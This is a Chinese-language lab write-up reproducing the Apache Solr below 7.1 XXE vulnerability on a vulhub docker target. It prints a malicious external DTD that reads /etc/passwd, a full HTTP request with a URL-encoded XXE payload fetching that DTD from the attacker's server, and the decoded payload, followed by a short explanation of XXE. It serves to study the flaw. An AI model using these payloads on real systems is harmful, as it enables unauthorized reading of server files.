0x00 實驗環境
攻擊機:Win 10、Win Server 2012 R2
靶機:Ubuntu18 (docker搭建的vulhub靶場)
0x01 影響版本
Apache Solr < 7.1
Apache Lucene < 7.1
注:在Solr管理后台Dashboard儀表盤中,可查看當前Solr的版本信息。

0x02 實驗步驟
我們打開漏洞環境,可以發現是這樣的頁面:

這樣的頁面可以聯想到遠程代碼執行:

復現只需要兩步:
(1)在自己的遠程服務器上win server 2012R2 上搭建一個網站,使用phpstudy即可,然后在www目錄下新建一個文檔1.dtd,名字可以自取
在1.dtd內寫入如下內容:
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % ent "<!ENTITY data SYSTEM ':%file;'>">

(2)回到web頁面,在主頁刷新后進行抓包,修改部分參數即可達到XXE外部實體代碼執行的操作
GET /solr/demo/select?&q=%3C%3fxml+version%3d%221.0%22+%3f%3E%3C!DOCTYPE+root%5b%3C!ENTITY+%25+ext+SYSTEM+%22http%3a%2f%2f(你的遠程服務器IP)%2f(dtd文件的名字).dtd%22%3E%25ext%3b%25ent%3b%5d%3E%3Cr%3E%26data%3b%3C%2fr%3E&wt=xml&defType=xmlparser HTTP/1.1 Host:your-ip:8983 Cache-Control: max-age=0 DNT: 1 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close Content-Length: 2
以上為我復現成功的請求報文

成功讀取到/etc/passwd的內容
將以上q的內容進行URL解碼為以下內容,可由此構造payload
<?xml version="1.0" ?><!DOCTYPE root[<!ENTITY % ext SYSTEM "http://your-ip/1.dtd">%ext;%ent;]><r>&data;</r>&wt=xml&defType=xmlparser
0x04 實驗原理
首先,需要了解XXE的概念:
XXE就是XML外部實體注入。當允許引用外部實體時,通過構造任意payload,導致可讀取任意文件、命令執行、探測內網信息、攻擊內網網站等危害。
Apache Solr 是一個開源的搜索服務器。Solr 使用 Java 語言開發,主要基於 HTTP 和 Apache Lucene 實現。原理大致是文檔通過Http利用XML加到一個搜索集合中。
主要有兩個漏洞:XML實體擴展漏洞(XXE)和遠程命令執行漏洞(RCE)
-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
詳情請參考這篇文章:
https://blog.csdn.net/csacs/article/details/88220227
